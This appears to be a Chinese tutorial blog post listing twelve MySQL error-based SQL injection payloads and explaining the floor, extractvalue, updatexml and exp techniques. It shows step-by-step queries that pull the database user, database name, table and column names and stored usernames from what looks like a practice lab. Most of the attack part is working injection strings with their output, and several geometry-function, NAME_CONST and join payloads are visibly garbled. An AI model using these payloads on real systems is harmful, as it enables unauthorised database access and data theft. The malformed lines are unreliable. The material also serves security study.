前言

之前没有对SQL报错注入详细总结过,总结一下。

12种SQL报错注入

1、通过floor报错,注入语句如下:

and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2、通过extractvalue报错,注入语句如下:

 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

3、通过updatexml报错,注入语句如下:

and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

4、通过exp报错,注入语句如下:

and exp(~(select * from (select user () ) a) );

5、通过join报错,注入语句如下:

select * from(select * from mysql.user ajoin mysql.user b)c;

6、通过NAME_CONST报错,注入语句如下:

and exists(selectfrom (selectfrom(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c);

7、通过GeometryCollection()报错,注入语句如下:

and GeometryCollection(()select *from(select user () )a)b );

8、通过polygon ()报错,注入语句如下:

and polygon (()select * from(select user ())a)b );

9、通过multipoint ()报错,注入语句如下:

and multipoint (()select * from(select user() )a)b );

10、通过multlinestring ()报错,注入语句如下:

and multlinestring (()select * from(selectuser () )a)b );

11、通过multpolygon ()报错,注入语句如下:

and multpolygon (()select * from(selectuser () )a)b );

12、通过linestring ()报错,注入语句如下:

and linestring (()select * from(select user() )a)b );

mysql 常用函数

系统信息函数

database() 返回当前数据库名
benchmapk(count,expr) 将表达式expr重复运行count次
connection_id() 返回当前客户的连接ID
found_rows() 返回最后一个SELECT查询进行检索的总行数
user()system_user() 返回当前登陆用户名
version()@@version 返回MySQL服务器的版本
更多参考:mysql 常用函数收集

常见SQL报错注入

SQL注入有12个报错方式,比较常见的有floor报错注入、extractvalue报错注入、updatexml报错注入和exp报错注入

floor报错注入

select * from users where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

x和a是起的别名。

  1. floor报错注入相关函数
    count() 函数
    count(*) 函数:返回表中的记录数
    报错注入中,floor(rand(0)*2)报错是有条件的,记录必须3条以上。所以使用count(*) 函数
    floor()函数:返回小于等于该值的最大整数(可以理解为向下取整,只保留整数部分)
    concat()函数:字符串拼接
    报错注入中,利用concat()函数将想要获得的数据库内容拼接到concat()中,报错时作为内容输出。
    rand()函数:可以用来生成0或1
    rand(0)函数:也可以用来生成0或1
    group by a 会根据a的规则对数据进行分组,而分组的时候,mysql会建立一个临时空表进行分组.
  2. floor(rand(0)*2),乘以 2的原因
    rand() 是返回 0 到 1 之间的随机数(即使用floor()后,只可以返回0),
    那么乘 2 后自然是返回 0 到 2 之间的随机数(即使用floor()后,可以返回0和1)
    SQL注入-报错注入_mysql
  3. rand(0)函数和rand()函数的区别
    rand(0)相当于给rand()函数传递了一个参数,然后rand()函数会根据0这个参数进行随机数生成。rand()生成的数字是完全随机的,而rand(0)是有规律的生成。
    SQL注入-报错注入_数据_02
    SQL注入-报错注入_数据_03
  4. 报错分析
    rand()函数在查询的时候会执行一次,插入的时候还会执行一次(即使用rand()的话,会执行多次)。这是整个语句报错的关键
    floor(rand(0)*2) 前六位是011011。
    group by a先建立一个空表,用于分组,然后进行分组查询。

第一次rand()执行,查询的结果是0。于是需要插入分组,就在这时,floor(rand(0)*2)再次被触发,生成第二个值 1 ,因此最终插入虚拟表的也就是第二个值 1 ,表中的结果就是:

root@localhost1 1

然后遇到第三个值 1 ,因为已经存在分组 1 了,就直接计数加1(这时1的计数变为2)

root@localhost1 2

遇到第四个值 0 的时候,发现 0 不存在,于是又需要插入新分组,
然后floor(rand(0)*2)又被触发,生成第五个值 1 ,

root@localhost1 2
root@localhost1

因此这时还是往虚拟表里插入分组 1 ,但是,分组 1 已经存在了。
此时插入因为重复出现同一个key,就会出现报错 重复出现key。而报错中会说明那个key有问题,key中结合了想要了解的字符串root@localhost
这样就实现了报错注入。
然后,concat()函数将想要获得的数据库内容拼接到concat()中,报错时作为内容输出。

(1)爆用户信息

select * from users where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

SQL注入-报错注入_mysql_04
用户:root
(”1“是因为floor(rand(0)*2)随机返回1)
(2)爆数据库名

select * from users where id=1 and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a);

SQL注入-报错注入_数据_05
数据库名:security
(3)爆数据表名

select * from users where id=1 and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a);

SQL注入-报错注入_数据_06
第四张表名:users
(4)爆字段名

select * from users where id=1 and (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a);

SQL注入-报错注入_Web_07
第一个字段名:id
第二个字段名:username
第三个字段名:password
(5)爆数据

select * from users where id=1 and (select 1 from (select count(*),concat((select username from users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a);

SQL注入-报错注入_Web_08
username字段下的第一条数据:Dumb

extractvalue报错注入

select * from users where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

EXTRACTVALUE (XML_document, XPath_string)
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串)

extractvalue(目标xml文档,xml路径)
第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式。

如果我们写入其他格式,就会报错。并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。
正常查询 第二个参数的位置格式 为 /xxx/xx/xx/xx ,即使查询不到也不会报错
利用concat函数将想要获得的数据库内容拼接到第二个参数中,报错时作为内容输出。

爆用户信息

select * from users where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

SQL注入-报错注入_xml_09
用户:root
两个"~",是因为0x7e的ASCII码是”~

updatexml报错注入

select * from users where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

UPDATEXML (XML_document, XPath_string, new_value)

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的数据

updatexml()函数与extractvalue()类似,是更新xml文档的函数。
updatexml(目标xml文档,xml路径,更新的内容)
爆用户信息

select * from users where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

SQL注入-报错注入_数据_10

exp报错注入

exp溢出报错注入

select * from users where id=1 and exp(~(select * from (select user())a));

exp是以e为底的指数函数

mysql> select exp(1);
+-------------------+
| exp(1)            |
+-------------------+
| 2.718281828459045 |
+-------------------+
1 row in set (0.00 sec)

但是,数字太大会产生溢出。exp函数会在参数大于709时溢出,报错。

mysql> select exp(709);
+-----------------------+
| exp(709)              |
+-----------------------+
| 8.218407461554972e307 |
+-----------------------+
1 row in set (0.00 sec)

mysql> select exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'

将0按位取反就会返回“18446744073709551615”,再加上函数成功执行后返回0的缘故,将成功执行的函数取反就会得到最大的无符号BIGINT值。
按位取反符~
按位取反:二进制每一位取反,0变1,1变0
BIGINTBIGINT[(M)] [UNSIGNED] [ZEROFILL] M默认为20
大整数。带符号的范围是-9223372036854775808到9223372036854775807。无符号的范围是0到18446744073709551615。
M代表的并不是存储在数据库中的具体的长度。

mysql> select ~0;
+----------------------+
| ~0                   |
+----------------------+
| 18446744073709551615 |
+----------------------+
1 row in set (0.00 sec)

mysql> select ~(select user());
+----------------------+
| ~(select user())     |
+----------------------+
| 18446744073709551615 |
+----------------------+
1 row in set (0.00 sec)

通过子查询与按位求反,造成一个DOUBLE overflow error,并借由此注出数据。

mysql> select * from users where id=1 and exp(~(select * from (select database())a));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select `a`.`database()` from (select database() AS `database()`) `a`)))'

在脚本语言中,就会将错误中的一些表达式转化成相应的字符串。从而实现了报错注入。例如(我不演示了):

DOUBLE value is out of range in 'exp(~((select 'error_based_hpf' from dual)))'

结语

总结之后,对SQL报错注入,又有了更加深入的认识。继续努力!